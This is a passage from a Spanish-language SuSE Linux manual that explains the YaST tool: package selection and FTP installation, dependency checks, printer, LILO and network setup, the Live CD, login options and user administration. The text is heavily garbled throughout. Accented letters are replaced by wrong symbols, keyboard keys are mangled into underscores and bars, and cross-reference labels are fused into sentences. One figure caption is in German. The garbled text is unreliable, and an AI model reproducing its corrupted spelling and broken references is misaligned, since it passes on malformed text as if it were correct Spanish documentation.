__________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________*
*______________________
3.5.2 Salvar configuraci≤n
Aquφ se puede salvar la configuraci≤n personal. Si se ha arrancado YaST
desde el disquete, se usarß el mismo para salvarla. Si por el contrario se
ha arrancado directamente desde el CD, YaST pide introducir un disquete
formateado para guardar los datos en Θl.
3.5.3 Cambiar / Crear configuraci≤n
Al elegir esta opci≤n se entra en el editor de selecci≤n (figura 3.13), que le
permite determinar libremente el contenido de la instalaci≤n o modificar una
configuraci≤n prefabricada y actualmente cargada (ver apartado 3.5.1 en la
pßgina anterior). Otra caracterφstica de esta opci≤n es la de poder borrar pa-
quetes instalados despuΘs de la instalaci≤n principal en concepto de manten-
imiento del sistema.
Figura 3.13: Selecci≤n de las series en YaST
Es posible moverse__por__la lista__de__opciones usando__las flechas |__|"y |__|#tal
como las teclas |R_________e|yPßg|________A|v. PßgCon |_____-| se puede llegar al sub-men·
para elegir los paquetes dentro de cada serie.
El panel inferior informa sobre los espacios disponibles y ocupados en el
sistema.
Pulsando la tecla |____|F4es posible reordenar los paquetes para tener asφ una
agrupaci≤n diferente de los mismos (figura 3.14 en la pßgina siguiente). Ac-
tualmente, aparte de `Series', existe la opci≤n `Todos los paquetes'
(ingl. `All packages' ), tras la cual se esconde la antigua serie ALL.
Para salir de una opci≤n, p. ej. de_la_selecci≤n de series y volver al men· de
configuraci≤n superior, se pulsa |F____1|0.
Una vez seleccionada una serie y pulsando |______|-, se entra en la parte de
elecci≤n de paquetes de la correspondiente serie (la figura 3.15 en la pßgina
siguiente) muestra p. ej. el contenido de la serie a). En caso de haber cargado
anteriormente una configuraci≤n, todos los paquetes que ya estßn selecciona-
dos aparecen marcados con una X .
*
* 97
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Figura 3.14: Reordenar paquetes en YaST
Figura 3.15: Selecci≤n de paquetes, serie a1 (Sistema base)
En el panel inferior aparece siempre una descripci≤n corta del paquete que es-
tß actualmente seleccionado. El panel derecho informa sobre el gasto actual
de espacio en las particiones del disco. Estos valores se actualizan continua-
mente a medida que se vaya seleccionando o deseleccionando un paquete.
A veces el espacio disponible para la descripci≤n de los paquetes o para la
informaci≤n_sobre_las particiones no alcanza para mostrarlo todo, no obstante,
con |F___|2o |F___|3es posible ampliar estos paneles y asφ ver toda la informaci≤n
en una ventana aparte.
Por delante del nombre de paquete se indica su estado actual:
`[ ]' indica un paquete que a·n no se ha instalado
`[X]' indica un paquete que estß por instalarse
98
__________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________*
*______________________
`[i]' indica un paquete que ya estß instalado
`[D]' indica un paquete que estß por borrarse
`[R]' indica un paquete que estß por actualizarse
Pulsando | _____|_-se cambia entre_ los estados `[ ]' y `[X]' o entre `[i]',
`[R]' y `[D]'. Apretando |___F|6se consigue la instalaci≤n adicional
del paquete fuente correspondiente; respecto a las fuentes vΘase tam-
biΘn el apartado 15.3.3 en la pßgina 408Instalar y compilar los paquetes
fuentesubsection.15.3.3. Desde esta posici≤n_ en el men· es posible volver
a la selecci≤n de series pulsando |____F|10. Si desea salir de__la selecci≤n de
paquetes sin que las modificaciones tengan efecto, simplemente pulse |E____s|c.
Si durante la instalaci≤n se da cuenta que el espacio previsto en el disco
duro no alcanza para la instalaci≤n deseada o que hace falta dividir el disco
en particiones diferentes, entonces es posible reparticionarlo en cualquier
momento. El proceso de particionar no se efect·a antes de haber salido por
primera vez de YaST .
En caso de haber arrancado YaST desde disquetes, primero se instala una
configuraci≤n mφnima, se arranca Linux y despuΘs se procede a instalar los
paquetes que hagan falta. TambiΘn en este caso es posible seleccionar a modo
de prueba todos los paquetes que se quiere instalar para averiguar el gasto de
espacio de la configuraci≤n deseada.
3.5.4 ┐QuΘ pasarφa si...?
YaST es tambiΘn una utilidad de desinstalaci≤n de paquetes, por lo tanto,
existe la opci≤n de comprobar que no se va a borrar ning·n fichero que sea
absolutamente imprescindible para el buen funcionamiento del sistema.
3.5.5 Empezar instalaci≤n
Con esta opci≤n comienza realmente la instalaci≤n. Todos los paquetes elegi-
dos se leen desde el medio de instalaci≤n, se descomprimen y se escriben en
la partici≤n destino.
Si se han modificado las particiones del disco duro durante el inicio actual de
YaST , entonces todavφa no se puede efectuar la instalaci≤n, ya que hace falta
reiniciar la computadora despuΘs de cualquier modificaci≤n de una partici≤n.
Los datos modificados de las particiones no se escriben en el disco antes de
salir de YaST .
Durante la instalaci≤n se indican en la ventana inferior los posibles mensajes
de error y de estado. La lφnea superior indica siempre cußl paquete se instala
en cada momento.
DespuΘs de la instalaci≤n es posible cambiar con |T_____|aba la ventana de apuntes
(protocolo) y desde allφ desplazarse hacia arriba para ver y analizar los posi-
bles mensajes de error.
3.5.6 Comprobar las dependencias
Aquφ YaST comprueba las dependencias entre los paquetes instalados y los
previstos para instalar excepto los que estßn marcados para borrar. En otras
*
* 99
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
palabras, lo que se comprueba es la correcta coexistencia de todos los paque-
tes como si ya se hubiera elegido `Empezar Instalaci≤n'.
Existen los siguientes tipos de dependencias:
________________________________________________________________________________________________________*
*________
AND Instalando este paquete se deben instalar todos los demßs o bien
ya deben estar instalados. Ejemplo: Instalando un compilador se
necesitan tambiΘn los ficheros Include y los Libs.
OR Instalando este paquete, se debe instalar o debe estar instalado
como mφnimo uno de los paquetes indicados.
EXCL Instalando este paquete no se debe instalar o no debe estar insta-
lado ninguno de los paquetes indicados.
________________________________________________________________________________________________________*
*________
Tabla 3.1: Dependencias entre los paquetes
Las dependencias entre paquetes encontradas, se apuntan finalmente en una
lista.
3.5.7 Listado de las series y paquetes
Aquφ simplemente se muestra una lista de todos los paquetes en el CD. Los
paquetes marcados con `*' ya estßn instalados o bien seleccionados para ser
instalados. Esta funci≤n es muy prßctica a la hora de conseguir un resumen
rßpido.
3.5.8 Informaci≤n sobre paquetes
A veces uno quiere saber d≤nde se esconde en el SuSE Linux-CD el fantßstico
programa que mencionaron en una revista de PC.
Para buscar paquetes y ficheros de forma sencilla y rßpida, en el SuSE Linux-
CD y en el sistema instalado hay informaci≤n sobre estos; simplemente se
indica el nombre del fichero que se necesita y YaST procederß a buscarlo en
el medio indicado y presentarß un listado con los sitios localizados.
3.5.9 Instalar paquetes
Esta opci≤n existe para instalar cualquier paquete, p. ej. versiones nuevas o
corregidas que proporcionamos en el servidor FTP ftp.suse.com. Tam-
biΘn sirve para instalar paquetes generados por cuenta propia o recibidos de
otras fuentes. Se soportan ficheros Tar comprimidos (.tgz) y paquetes RPM
(.rpm, .spm y .src.rpm) al igual que paquetes especiales tipo Patch (.pat),
que proporcionamos seg·n necesidad en nuestro servidor FTP.
La instalaci≤n_se realiza en 3 pasos (es posible ver instrucciones explφcitas
pulsando |F___|1):
o Selecci≤n de la fuente de instalaci≤n
o Selecci≤n de los paquetes allφ ofrecidos
o Instalaci≤n de los paquetes
100
__________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________*
*______________________
Pulsando |_____|_-en la opci≤n `Fuente': aparece un listado de las posibles
fuentes de instalaci≤n: `Directorio', `FTP', `Medio fuente' y `Dis-
quete'. Podrφa ser necesario_cambiar el path predefinido (Directorio/FTP)
y confirmarlo con |_____-|. YaST muestra ahora una lista con los paque-
tes disponibles allφ y entonces es posible instalar directamente desde Inter-
net usando la opci≤n `FTP'. La direcci≤n es ftp.suse.com:/pub/suse/
i386 /update/6.4 (ver figura 3.16). Por el momento no es posible instalar
paquetes a travΘs de un ''Proxy'' ya que se precisa el acceso directo al servidor
FTP.
Figura 3.16: Instalar paquetes vφa FTP
_______________________________________________________________________________________________________________________||
|||||||| Si aparece un mensaje como "530 User ftp access denied", lo mßs ||| |
|||||||| probable es que solo de modo temporal no haya acceso por saturaci≤n. || |
|||||||| || |
|||||||| PruΘbelo mßs tarde cuando haya menos usuarios conectados al sistema. || |
||||||||_______________________________________________________________________________________________________________||_
Una vez alcanzado_el_paquete_rpm que se quiere instalar,_como_siempre, se
marca con |E__________s|pacioy despuΘs se instala con |F____1|0. El paquete correspondi-
ente se copia tambiΘn en el directorio /tmp/ftp<n·mero de proceso> ,
de este modo existe la posibilidad de instalarlo a mano mßs tarde, en caso
de que algo hubiese ido mal (ver apartado 15.3.1 en la pßgina 405Instalar,
actualizar y desinstalar paquetessubsection.15.3.1) .
3.5.10 Eliminar/Borrar paquetes
Al seleccionar esta opci≤n, YaST mostrarß una lista de todos los paquetes que
estßn instalados en el sistema incluidos los paquetes ajenos. Como ''paquete
ajeno'' se entiende un paquete que no se encuentra en ning·n SuSE -CD.
En tal caso, YaST no puede hacer ninguna actualizaci≤n y tampoco puede
comprobar las dependencias entre ellos.
Lo mßs sencillo es reemplazarlos por los paquetes correspondientes de los
SuSE -CDs. Para ello se selecciona en la lista los paquetes afectados; con
F2 |||||||||__aparece una descripci≤n breve del paquete, ya que no existe ninguna
*
* 101
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
descripci≤n larga para ellos; con |F_____|10se borran los paquetes seleccionados
y despuΘs es posible instalarlos otra vez desde el CD de SuSE.
3.6 Actualizar el sistema
No se deberφa usar la opci≤n `Actualizar sistema' si el sistema base no
es lo suficientemente actual - es decir, cuando su versi≤n no es igual a la del
medio fuente. De todas maneras YaST lo indicarß claramente.
Para hacer realmente una actualizaci≤n del sistema, comience como se expli-
ca en el capφtulo 15 en la pßgina 393Actualizaci≤n del sistema ~ Gesti≤n de
paqueteschapter.15. Los paquetes sueltos se actualizan con YaST seg·n el
apartado 3.5.9 en la pßgina 100Instalar paquetessubsection.3.5.9.
3.7 Administraci≤n del sistema
Ademßs de la pura instalaci≤n, YaST le soporta tambiΘn en las diferentes
tareas de administraci≤n que tendrß que afrontar como + Administrador de
sistema.
DespuΘs de finalizar realmente la instalaci≤n, es necesario ajustar una serie
de parßmetros para adaptar el sistema a los requerimientos particulares, tales
como: configuraci≤n y activaci≤n de servicios de red, instalaci≤n de hard-
ware adicional, generaci≤n de usuarios, determinaci≤n de las propiedades de
arranque de SuSE Linux, etc.
Figura 3.17: Administraci≤n del sistema
Para entrar en la parte de administraci≤n del sistema hay que elegir `Admin-
istraci≤n del sistema' (figura 3.1 en la pßgina 84El men· principal de
YaST section.3.2) en el men· principal de YaST (ver figura 3.17).
3.7.1 Instalar hardware en el sistema
Aquφ es posible especificar con mßs detalle el hardware usado. Por lo general
se genera un enlace simb≤lico (+ Enlace) (ingl. Link) entre un dispositivo
102
__________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
*______________________
estßndar y el hardware. Asφ se puede acceder fßcilmente al hardware sin
necesidad de recordar el nombre exacto del mismo.
Figura 3.18: Configuraci≤n de hardware
Las configuraciones de mouse, escßner, tarjeta de red y lector CD-ROM son
muy sencillas ~ solo hay que seguir las indicaciones de los men·s ;-)
Por otra parte, la configuraci≤n de la impresora, que se encuentra en el pr≤xi-
mo apartado, es algo mßs complicada.
Configurar impresoras
El acceso a una impresora bajo Linux es un proceso complejo; la explicaci≤n
tΘcnica se encuentra en el 12 en la pßgina 325Impresoraschapter.12. Afor-
tunadamente existe el programa apsfilter que es un filtro potente capaz de
reconocer automßticamente el tipo de fichero para luego convertirlo y man-
darlo a la impresora.
El formato PostScript juega un papel muy importante en Linux tal como en
los otros sistemas Unix. Imprimir un fichero PostScript en una impresora
PostScript es bastante sencillo. Lamentablemente por el alto precio de las
mismas la minorφa de los usuarios tiene una impresora con estas caracterφs-
ticas. Por eso se usa Ghostscript (gs ), un programa gratuito, que se encarga
de la interpretaci≤n de un documento en PostScript para despuΘs convertirlo
a un formato que entiende la impresora directamente.
Cuando se usa apsfilter tambiΘn los ficheros + ASCII se convierten primero a
PostScript para ser impresos directamente en una impresora PostScript o bien
para enviarlos vφa Ghostscript a cualquier impresora.
YaST ofrece la posibilidad de configurar c≤modamente el apsfilter para la
impresora (figura 3.19 en la pßgina siguiente):
Si tiene una impresora de color, active la correspondiente opci≤n en la plantil-
la. En `Tipo de impresora' indique si la impresora ''entiende'' PostScript
o no.
La opci≤n `Nombre de la impresora' muestra todas las impresoras
soportadas por Ghostspript. Desde esta lista se debe elegir la impresora
*
* 103
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Figura 3.19: Configurar apsfilter con YaST
que se usa (ver apartado 12.6 en la pßgina 340Listado de las impresoras
soportadassection.12.6). En caso de no haber un ''driver'' de Ghostscript
disponible, es posible introducirlo a mano usando la opci≤n `Otra impre-
sora' y despuΘs `<Personalizada>'; comprobar mediante la ejecuci≤n
de gs -h , si la versi≤n instalada de Ghostscript realmente reconoce este
driver. ~ Actualmente, lo mßs seguro para configurar el driver uniprint y su
fichero de parßmetros es el uso de SETUP (lprsetup ) (ver el apartado 12.3
en la pßgina 334Configuraci≤n con SETUP (lprsetup )Hfootnote.59).
En caso de no encontrar su impresora en la lista, se puede probar un modelo
parecido, que puede ser el antecesor al modelo actual. Si se tiene por ejemplo
una HP LaserJet 5L, entonces se elegirφa de la lista la HP Laserjet 4.
Respecto al `Formato de papel', lo mßs normal para Espa±a es elegir A4
pero tambiΘn se soporta el tipo carta (letter) para las AmΘricas.
Si la impresora estß conectada a un + Puerto serie se puede indicar adicional-
mente la velocidad de transferencia para este puerto.
Hoy en dφa las impresoras suelen estar conectadas a un puerto paralelo (puerto
de impresora), asφ que se debe indicar el puerto que se va a usar. Siempre
que la impresora se conecta al primer puerto paralelo y a partir de la versi≤n
2.2.xx del kernel, este puerto es /dev/lp0. Por el contrario, se usa /dev/lp1
cuando la computadora estß equipada con dos puertos paralelos; /dev/lp2
indica el puerto en el cual se encuentra una tarjeta grßfica de HΘrcules 2 .
_____________________________________________2
Hasta la versi≤n 2.0.xx del kernel, se accede al primer puerto paralelo con /dev/lp1
104
__________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
*______________________
_______________________________________________________________________________________________________________________|||||
|||||||| En caso de que la impresora no imprima, repase la lista de compro- ||| |
||||||||| baci≤n en el apartado 12.7 en la pßgina 345Lista de comprobaci≤n: || ||
|||||||| apsfiltersection.12.7. ||| |
|||||||| || |
|||||||| En caso de duda configure en la BIOS los siguiente valores para el puerto || |
|||||||| paralelo: || |
|||||||| || |
|||||||| || |
|||||||| o Direcci≤n-IO 378 (hexadecimal) || |
|||||||| o Interrupci≤n 7 || |
|||||||| || |
|||||||| o Modo: Normal (o SPP) || |
|||||||| || |
|||||||| o desactive DMA (deberφa estar desactivado en modo Normal) || |
|||||||| || |
|||||||| Estos son los valores estßndar. || |
||||||||_______________________________________________________________________________________________________________||_
Es necesario comprobar y tal vez ajustar `Resoluci≤n en dpi'; conviene
seguir las instrucciones del manual de su impresora.
3.7.2 Configuraci≤n del kernel y arranque
Aquφ es posible hacer ajustes bßsicos que tienen influencia sobre el arranque
del sistema y el kernel usado.
Figura 3.20: Configuraci≤n de kernel y arranque
`Elegir el kernel (de arranque)'
Para instalar un kernel precompilado junto con los m≤dulos correspondientes
(desde el SuSE -CD) seleccione (`Elegir el kernel'). Este se ofrece por
ejemplo cuando la primera selecci≤n durante la instalaci≤n no fue la ≤ptima.
YaST tambiΘn le ofrecerß copiar la configuraci≤n del kernel (.config) al
directorio de las fuentes del mismo (/usr/src/linux).
Seleccione el kernel para la arquitectura especial de la computadora y deje
que YaST configure de nuevo el LILO . Si anteriormente no fue posible ar-
rancar con LILO consulte abajo las instrucciones sobre la configuraci≤n de
LILO .
*
* 105
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Para el usuario avanzado es bastante recomendable que compile su propio
kernel una vez finalizada la instalaci≤n (ver capφtulo 13 en la pßgina 349El
kernelchapter.13). Este tipo de kernel ~ hecho justamente a medida del sis-
tema ~ es mßs peque±o, mßs rßpido y evita problemas de drivers con hardware
no existente. Como principiante en el tema de Linux es mejor quedarse con el
kernel estßndar que le suministramos, ya que solo usando este kernel estßndar,
tendrß derecho al soporte de instalaci≤n (ver apartado H.1 en la pßgina 54160
dφas de soporte de instalaci≤nsection.H.1).
`Crear disco de rescate'
Un disquete de ''emergencia'' o de ''rescate'' (rescue disk) es bueno cuando
el sistema Linux ya no quiere arrancar de ninguna otra forma. Se genera con
la opci≤n `Crear disco rescate' (ver apartado 16.5 en la pßgina 425El
sistema de rescate de SuSE section.16.5).
`Configuraci≤n LILO'
YaST ofrece tambiΘn una pantalla para una fßcil configuraci≤n del LILO
(ingl. LInux LOader) (figura 3.21). LILO gestiona tambiΘn el arranque de
OS/2-, DOS- y Windows 95/98, pero hay que tener cuidado con Windows
NT. En el capφtulo 4 en la pßgina 119Arrancar y gestor de arranquechapter.4
hay mßs informaci≤n sobre el significado de cada campo y de sus opciones.
Figura 3.21: Instalaci≤n de LILO
La `Lφnea para parßmetros de hardware' se queda generalmente
vacφa; ver apartado 4.4.2 en la pßgina 128Otras opciones de configuraci≤n
(Selecci≤n)subsection.4.4.2, salvo que se hayan usado parßmetros adicionales
para el primer arranque. En tal caso se introducen estos parßmetros, pero
sin el nombre del kernel linux por delante! Los detalles se muestran
en el apartado 4.4.2 en la pßgina 128Otras opciones de configuraci≤n
(Selecci≤n)subsection.4.4.2.
106
__________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
*______________________
`┐D≤nde desea instalar LILO ?': Si solo existe Linux en la computa-
dora, entonces Master boot record es el sitio correcto;
Sector de arranque de la partici≤n /boot se recomienda cuan-
do se quiere arrancar Linux con otro gestor de arranque (ingl. Boot-
manager); en caso de no haber generado la partici≤n /boot, seleccione
(Sector de) Arranque de la partici≤n raφz . En disquete : es-
tß claro, verdad?. La explicaci≤n tΘcnica de estos ajustes estß en el en la
pßgina 123┐D≤nde se puede instalar LILO ?Hfootnote.17.
`Retraso arranque': Se indica en segundos; 10 segundos es un buen
valor.
`Opci≤n "linear"': Se trata de una opci≤n que generalmente no se nece-
sita; ver tambiΘn apartado 4.4.2 en la pßgina 128Otras opciones de configu-
raci≤n (Selecci≤n)subsection.4.4.2.
Con `F4=Nueva Conf.' se fija el nombre de una nueva configuraci≤n; re-
sulta prßctico llamar linux a la configuraci≤n estßndar. Las configuraciones
ya existentes pueden ser modificadas con `F5=Editar Conf.'. Para ello
YaST proporciona una pantalla que se muestra en la figura 3.22.
Figura 3.22: LILO : Configuraci≤n de arranque
Los significados de los campos son los siguientes:
`Nombre de la configuraci≤n': Depende de la imaginaci≤n, pero use
linux para la primera.
`QuΘ sistema operativo': se ofrecen las posibilidades de: Arrancar Linux ,
Arrancar DOS/Win ~ la opci≤n correcta para Windows 95 y 98 ~ y
Arrancar OS/2 .
`Partici≤n raφz a arrancar': Esta opci≤n es predeterminada; general-
mente no se precisa ning·n cambio. Pulse `F3' y seleccione la partici≤n
correcta.
*
* 107
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
`Kernel opcional': Solo marcar cuando este kernel no estΘ a disposici≤n
permanentemente, o sea, en caso de un kernel que solamente se instala para
pruebas.
`Kernel a iniciar por LILO ': Por lo general aquφ tampoco hace falta
modificar nada. La ubicaci≤n estßndar de SuSE Linux es /boot/vmlinuz;
con `F3' se puede pasar por el ßrbol de directorios.
Con `Continuar' se instala LILO y con `Abortar' se puede cancelar la
instalaci≤n.
________________________________________________________________________________________________________*
*________|||
| *
* |||
| Cuando se configura LILO se recomienda a±adir una segunda configu- *
* |||
| raci≤n (p. ej. old ) para la cual se indica como kernel a arrancar /boot/ *
* |||
| *
* |||
| vmlinuz.old y ademßs el campo `Kernel opcional'; asφ tambiΘn se *
* |||
| podrß arrancar el sistema cuando un kernel recientemente compilado no *
* |||
| *
* |||
| funcione, porque usando la instalaci≤n automßtica de LILO siempre se *
* |||
| genera una copia de seguridad del antiguo kernel, que se puede iniciar con *
* |||
| *
* |||
| la configuraci≤n old (ver capφtulo 13 en la pßgina 349El kernelchapter.13). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
3.7.3 Configuraci≤n de red
Con YaST es posible efectuar los ajustes bßsicos de la red (ver figura 3.23).
íEn todo caso configure la red, aunque la computadora en realidad no se
encuentre en ella o no tenga tarjeta de red! Hay muchos programas que
necesitan soporte de red para poder funcionar correctamente.
Figura 3.23: Configuraci≤n de la red
`Configuraci≤n bßsica de red' Aquφ se define(n) bßsicamente la(s) +
Direcci≤n-IP y se asignan a las interfaces de red como tarjeta red, dispos-
itivo PPP o RDSI, etc. (ver figura 3.24 en la pßgina siguiente); el en la
pßgina 153Requisitos, Preparativoschapter.5 aclara estos tΘrminos.
Aquφ es posible seleccionar con `F3=Auto-IP' los servicios DHCP o
BOOTP para obtener una configuraci≤n automßtica de los IP's.
108
__________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
*______________________
Figura 3.24: Netzwerk Grundkonfiguration
`Cambiar nombre del host' Se puede definir el nombre de la computa-
dora (ingl. hostname) y el nombre de dominio (mßs informaci≤n otra vez
en el en la pßgina 153Requisitos, Preparativoschapter.5).
`Configurar servicios de red' Con esta opci≤n se configuran mu-
chos servicios bßsicos de uso frecuente: inetd (para telnet , ftp , imprimir
etc.), portmap (para los servidores NFS y NIS) y rpc.nfsd (para servidor
NFS).
`Configuraci≤n DNS' Es posible indicar uno o varios servidores de nom-
bres (ver el en la pßgina 441Configurar e iniciar servicios de red y
localesHfootnote.77).
`Configuraci≤n cliente YP' Esta opci≤n es activa cuando el paquete
ypclient, serie n estß instalado (ver el apartado 5.4 en la pßgina 166NIS,
las pßginas amarillas del LANsection.5.4 y en la pßgina 443Configurar e
iniciar servicios de red y localesHfootnote.77) .
`Configurar sendmail' Para sendmail se puede instalar tambiΘn un
fichero de configuraci≤n, que brinda una gran funcionalidad para muchos
tipos de tareas.
`Administrar impresoras remotas' Esta opci≤n permite configurar
impresoras que son accesibles vφa red a travΘs de TCP/IP. Para configurar
la impresora de red lp (que se encuentra en el servidor de impresi≤n
sol.cosmos.univ con el nombre local remote ), rellene el formulario.
Si se necesita un ''pre-filtro'' para esta impresora, consultar el aparta-
do 12.4 en la pßgina 337Impresoras de red con apsfilter section.12.4.
`Conectar impresora mediante Samba' Esta opci≤n se activa cuando
el paquete samba, serie n estß instalado y permite el acceso a una impre-
sora que se conecta a una computadora con Windows.
`Conectar impresora mediante Novell' La opci≤n se activa con el
paquete ncpfs, serie n instalado.
`Configurar parßmetros RDSI' La opci≤n estß activa cuando el paquete
i4l, serie n estß instalado. Para RDSI se ofrecen men·s con muchos de-
talles (consultar las explicaciones en el apartado 6.2 en la pßgina 173Ac-
ceso a Internet vφa RDSI ~ la configuraci≤nsection.6.2).
*
* 109
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
`Configuraci≤n de PPP' Aquφ se configura el acceso a travΘs del pro-
tocolo PPP (consultar las explicaciones en el apartado 6.1 en la pßgi-
na 172PPPsection.6.1).
En el capφtulo 5 en la pßgina 153Linux en la redchapter.5 hay detalles adi-
cionales relacionados con la configuraci≤n de una red.
3.7.4 Configurar sistema Live
Es posible conseguir por separado, abonando una tasa de protecci≤n, un CD-
ROM con un sistema de ficheros ''en vivo'' (Live-filesystem) o bajarse la
imagen ISO del servidor FTP (ftp://ftp.suse.com/pub/suse/i386/).
Se puede arrancar desde este ''Live-CD'' alcanzando asφ varios objetivos:
o Es posible arrancar directamente un sistema Linux (incluido sistema
X Window) desde este CD-ROM sin instalar nada en el disco duro. Esto
es muy ·til para saber si una determinada computadora corre con SuSE
Linux o para tener a mano un sistema de rescate amplio e indestruc-
tible (ver apartado 16.5 en la pßgina 425El sistema de rescate de SuSE
section.16.5).
o TambiΘn se puede enlazar el ''Live-System'' a un sistema SuSE Linux
instalado en el disco duro, lo que solamente tiene sentido cuando no hay
suficiente espacio en el disco para una instalaci≤n completa; esta segunda
posibilidad es la que nos ocupa ahora.
________________________________________________________________________________________________________*
*________
| Tenga en cuenta que el sistema Live tampoco representa algo mßs que *
* ||||
| *
* |||
| una selecci≤n de software, ya que el espacio en un CD-ROM tambiΘn es *
* |||
| limitado. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Para la integraci≤n del sistema-Live se selecciona en YaST `Integrar
sistema de ficheros Live CD'. Llevando a cabo esto, YaST genera en-
laces simb≤licos para cada paquete que a·n no estΘ instalado. Estos enlaces
apuntan a los paquetes en el CD, asφ que se pueden ejecutar todos los pro-
gramas desde el CD sin ocupar espacio en el disco duro. Hay que tener en
cuenta que a partir de ahora serß obligatorio colocar el CD con el Live-system
antes de arrancar Linux, ya que durante el arranque Θste se monta sobre el +
Punto de anclaje (ingl. Mountpoint) /S.u.S.E. Si se desea trabajar con otro
CD, primero se debe arrancar con el Live-CD y despuΘs desmontarlo con el
comando:
tierra: # umount /S.u.S.E.
y a continuaci≤n se monta el otro CD.
De tal forma es posible que tambiΘn algunos programas bßsicos se enlacen
con el Live-CD, los cuales correrφan desde el CD, por lo tanto Θste no se deja
desmontar. Si se ha instalado el sistema base esto no tiene por quΘ ocurrir, ya
que el sistema es lo suficientemente aut≤nomo para correr completamente sin
el Live-CD. Arranque su sistema otra vez sin el Live-CD en el lector. Apare-
cerßn algunos mensajes de error en la pantalla que pueden ser ignorados.
Todos los programas necesarios para acceder al CD ya estßn en su sistema.
Si aparece "No space left on device" integrando el Live-CD, es posi-
ble que la densidad de + Inode en su partici≤n no sea suficientemente alta, lo
110
__________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
*______________________
cual pasa muchas veces en caso de particiones peque±as. Lamentablemente,
esto solo se puede modificar formateando otra vez la partici≤n. Para este for-
mateo indique entonces una densidad mßs alta (p. ej. 1KB por inode en lugar
de 4KB ~ ver tambiΘn apartado 3.4.1 en la pßgina 93Men· de experto para
ajustes finossubsection.3.4.1).
Si realmente se termina la integraci≤n del Live-CD por falta de espacio, no
se podrß arrancar YaST ni siquiera para desconectar el sistema-Live, porque
YaST ya no puede generar los ficheros que necesita para su arranque. Se
deben borrar algunos enlaces simb≤licos que apuntan a /S.u.S.E./.... 3
Arrancar despuΘs YaST y desconectar de nuevo el sistema-Live.
Por lo tanto, la ventaja principal del sistema-Live es el bajo gasto de espacio
en el disco duro; existen tambiΘn las siguientes desventajas:
o El acceso al sistema-Live es lento, porque los accesos al lector CD-ROM
son muchos mßs lentos que los mismos a un disco duro.
o Como se generan muchφsimos enlaces simb≤licos y cada uno gasta un +
Inode, hace falta tener suficientes inodes libres. La cantidad de inodes se
ha fijado al generar el sistema de ficheros y solamente puede ser modifi-
cada formateando otra vez la partici≤n.
o Hace falta una partici≤n con un tama±o mφnimo de 50MB, para poder
integrar el Live-CD.
3.7.5 Configuraci≤n del Login
Aquφ es posible configurar el estilo del ''login'', decidirse por una pantalla
de texto o entrar directamente al sistema X Window. Si se desea un login
grßfico se puede disponer del sencillo XDM o del KDM mßs sofisticado;
si se opta por KDM , se puede indicar adicionalmente quienes son los que
tienen derecho a efectuar una parada (shutdown ) del sistema. La alternativa
al ''login'' grßfico es el login con una consola + ASCII y el arranque de los X
con el comando startx (figura 3.25 en la pßgina siguiente).
_______________________________________________________________________________________________________________________||
|||||||| Si no hay total seguridad en que los X (sistema X Window) arranquen sin ||| |
|||||||| || |
|||||||| problemas, no se deberφan activar ni XDM ni KDM. En todo caso pruebe || |
|||||||| primero si se pueden arrancar los X desde una consola antes de activar un || |
|||||||| || |
|||||||| gestor de ventana para el login. || |
||||||||_______________________________________________________________________________________________________________||_
El nivel de ejecuci≤n 3 (ingl. runlevel 3) se anota en /etc/inittab como
nivel de ejecuci≤n predeterminado y se define una nueva variable en /etc/
rc.config (ver apartado 77 en la pßgina 445Configurar e iniciar servicios
de red y localesHfootnote.77). Si se usa el nivel de arranque tres para otro
asunto que no sea el de ejecutar XDM o KDM, siempre se activarß uno de
ellos.
3.7.6 Opciones susewm
Este men· de configuraci≤n sirve para seleccionar el entorno grßfico.
3 ____________________________________________________
En el apartado 19.7.5 en la pßgina 476Copiar, renombrar y borrar ficherossubsection.19.7.5 se
explica c≤mo borrar ficheros y enlaces.
*
* 111
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Figura 3.25: Configuraci≤n del Login
Figura 3.26: Configuraci≤n susewm
Seleccione aquφ el gestor de ventanas por defecto (ingl. Windowmanager) y
determine para cußles gestores susewm se deben generar ficheros de config-
uraci≤n que estΘn disponibles para todo el sistema (ver las explicaciones tΘc-
nicas en el apartado 9.5 en la pßgina 277Configuraci≤n del windowmanager
con SuSEwm section.9.5) .
3.7.7 Administraci≤n de usuarios
Con YaST es posible generar usuarios nuevos, borrarlos o modificarlos de
manera amigable. El dißlogo correspondiente se encuentra en `Admin-
112
__________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
*______________________
istraci≤n de sistema' bajo la opci≤n `Administraci≤n de usuar-
ios'.
Figura 3.27: Administraci≤n de usuarios con YaST
Seleccionando en este apartado `Acceso al modem permitido', el
usuario en cuesti≤n puede usar este dispositivo; dando este permiso el usuario
se da de alta en los grupos `uucp' y `dailout'. Todos los usuarios que
pertenezcan a este grupo tendrßn permiso de establecer conexiones PPP.
Todos los ficheros del directorio de ejemplo /etc/skel se copian al direc-
torio de un nuevo usuario, asφ que existe directamente una cierta preconfig-
uraci≤n mφnima para todos los usuarios nuevos. DespuΘs de la instalaci≤n,
cada usuario tiene, evidentemente, la posibilidad de adaptar estos ficheros a
sus necesidades.
Aparte de esto YaST ejecuta dos scripts, que se pueden usar para hacer algu-
nas tareas rutinarias adicionales:
o DespuΘs de haber generado el usuario se ejecuta ~ si existe ~ el script
/usr/sbin/useradd.local. En este momento el usuario ya estß dado
de alta en /etc/passwd y en /etc/shadow. TambiΘn existe ya el direc-
